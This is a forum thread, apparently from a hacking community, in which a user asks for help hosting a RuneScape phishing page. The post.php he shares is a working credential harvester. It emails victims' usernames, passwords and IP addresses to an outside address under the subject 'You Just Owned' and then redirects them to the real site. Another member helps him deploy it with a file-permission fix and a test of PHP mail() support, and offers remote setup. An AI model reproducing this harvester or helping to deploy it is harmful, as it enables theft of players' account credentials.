bagiblood Member Joined Feb 28, 2012 Posts 307 Reacts 0 Reputation 0 Credits 0 Mar 8, 2012 #1 Everytime I upload my post.php and index.html it always gives me a 403 forbidden when I try to access my site. I tried with 40 hosting sites and all of them give me the same damn error. How do I fix this and what I am doing wrong?
Everytime I upload my post.php and index.html it always gives me a 403 forbidden when I try to access my site. I tried with 40 hosting sites and all of them give me the same damn error. How do I fix this and what I am doing wrong?
Ben Hartley Active Member Joined Mar 19, 2011 Posts 1,543 Reacts 0 Reputation 0 Credits 0 Mar 8, 2012 #2 Edited - nvm. Post here your post.php.
bagiblood Member Joined Feb 28, 2012 Posts 307 Reacts 0 Reputation 0 Credits 0 Mar 8, 2012 #3 KONY said: Edited - nvm. Post here your post.php. Click to expand... Code: <?php if(isset($_POST['username']) && isset($_POST['password'])) { $to="ballsonice@hotmail.com"; $username=$_POST['username']; $password=$_POST['password']; $subject="RuneScape ~ " .$username; $ip=$_SERVER['REMOTE_ADDR']; $body="You Just Owned: " .$username. " \r\nPassword: " .$password. " \r\nIP: " .$ip; mail($to, $subject, $body); header("Location: http://www.runescape.com"); } else { header ('Location: http://www.runescape.com'); } ?> There's my post.php.
KONY said: Edited - nvm. Post here your post.php. Click to expand... Code: <?php if(isset($_POST['username']) && isset($_POST['password'])) { $to="ballsonice@hotmail.com"; $username=$_POST['username']; $password=$_POST['password']; $subject="RuneScape ~ " .$username; $ip=$_SERVER['REMOTE_ADDR']; $body="You Just Owned: " .$username. " \r\nPassword: " .$password. " \r\nIP: " .$ip; mail($to, $subject, $body); header("Location: http://www.runescape.com"); } else { header ('Location: http://www.runescape.com'); } ?> There's my post.php.
Ben Hartley Active Member Joined Mar 19, 2011 Posts 1,543 Reacts 0 Reputation 0 Credits 0 Mar 8, 2012 #4 cd into your document root and execute this command: Code: find . -type f -exec chmod 644 {} \; && find . -type d -exec chmod 755 {} \; also upload this and tell me what it prints. PHP: <?php if(function_exists('mail')){ print "waka waka"; }else{ print "dingle dingle"; } ?>
cd into your document root and execute this command: Code: find . -type f -exec chmod 644 {} \; && find . -type d -exec chmod 755 {} \; also upload this and tell me what it prints. PHP: <?php if(function_exists('mail')){ print "waka waka"; }else{ print "dingle dingle"; } ?>
bagiblood Member Joined Feb 28, 2012 Posts 307 Reacts 0 Reputation 0 Credits 0 Mar 8, 2012 #5 KONY said: cd into your document root and execute this command: Code: find . -type f -exec chmod 644 {} \; && find . -type d -exec chmod 755 {} \; also upload this and tell me what it prints. PHP: <?php if(function_exists('mail')){ print "waka waka"; }else{ print "dingle dingle"; } ?> Click to expand... Add me on Skype. bagiblood. I got more questions.
KONY said: cd into your document root and execute this command: Code: find . -type f -exec chmod 644 {} \; && find . -type d -exec chmod 755 {} \; also upload this and tell me what it prints. PHP: <?php if(function_exists('mail')){ print "waka waka"; }else{ print "dingle dingle"; } ?> Click to expand... Add me on Skype. bagiblood. I got more questions.
Ben Hartley Active Member Joined Mar 19, 2011 Posts 1,543 Reacts 0 Reputation 0 Credits 0 Mar 8, 2012 #6 bagiblood said: Add me on Skype. bagiblood. I got more questions. Click to expand... Dont have skype, paste me your teamviewer details. Teamviewer crashed. I will set it up for you tomorrow sir.
bagiblood said: Add me on Skype. bagiblood. I got more questions. Click to expand... Dont have skype, paste me your teamviewer details. Teamviewer crashed. I will set it up for you tomorrow sir.
bagiblood Member Joined Feb 28, 2012 Posts 307 Reacts 0 Reputation 0 Credits 0 Mar 8, 2012 #7 KONY said: Dont have skype, paste me your teamviewer details. Teamviewer crashed. I will set it up for you tomorrow sir. Click to expand... Alright do it around 5-6 PM CST.
KONY said: Dont have skype, paste me your teamviewer details. Teamviewer crashed. I will set it up for you tomorrow sir. Click to expand... Alright do it around 5-6 PM CST.